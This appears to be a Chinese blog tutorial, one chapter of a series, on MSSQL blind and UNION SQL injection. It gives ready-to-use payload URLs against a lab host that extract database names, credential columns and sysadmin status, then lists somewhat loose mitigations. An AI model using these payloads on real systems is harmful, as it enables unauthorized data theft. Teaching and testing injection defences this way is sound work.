MSSQL注入-第六章 MSSQL盲注与联合注入

释放双眼,带上耳机,听听看~!

0x00 盲注

布尔盲注

其实跟mysql大同小异 无非就是分割字符串比较,但是mssql的盲注套路确实没那么多

http://192.168.130.137/1.aspx?id=1 and ascii(substring((select top 1 name from master.dbo.sysdatabases),1,1)) >= 109

时间盲注

http://192.168.130.137/1.aspx?id=1;if (select IS_SRVROLEMEMBER('sysadmin'))=1 WAITFOR DELAY '0:0:5'--

http://192.168.130.137/1.aspx?id=1;if (ascii(substring((select top 1 name from master.dbo.sysdatabases),1,1)))>1 WAITFOR DELAY '0:0:5'--


当然盲注你也可以使用前面提到的declare 灵活运用吧,对于盲注这块感觉mssql不如mysql灵活

0x02 联合注入

mssql联合注入我们一般不使用 数字占位,而是null,因为你使用数字占位可能会发生隐式转换

http://192.168.130.137/1.aspx?id=1 union select 1,2,3

mysql

http://192.168.130.137/1.aspx?id=1 union select null,name,pass from info

mysql

当然也可以这样用

http://192.168.130.137/1.aspx?id=1 SELECT 1 UNION (select CAST(USER as int))

mysql

在mssql中我们如果想查询多条数据可以使用%2B 也就是加号

http://192.168.130.137/1.aspx?id=1 union select null,name%2Bpass,null from info

mysql

避免的方法

  1. 在设计应用程序时,完全使用参数化查询(Parameterized Query)来设计数据访问功能。
  2. 在组合SQL字符串时,先针对所传入的参数加入其他字符(将单引号字符前加上转义字符)。
  3. 如果使用PHP开发网页程序的话,需加入转义字符之功能(自动将所有的网页传入参数,将单引号字符前加上转义字符)。
  4. 使用php开发,可写入html特殊函数,可正确阻挡XSS攻击。
  5. 其他,使用其他更安全的方式连接SQL数据库。例如已修正过SQL注入问题的数据库连接组件,例如ASP.NET的SqlDataSource对象或是 LINQ to SQL。
  6. 使用SQL防注入系统。
  7. 增强WAF的防御力

作者:@404

aleenzz

公众号:aleenzz

人已赞赏
安全教程

MSSQL注入-第五章 MSSQL注入基本流程

2019-11-11 11:30:39

安全教程

MSSQL注入-第七章 MSSQL备份拿shell

2019-11-11 11:37:10

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索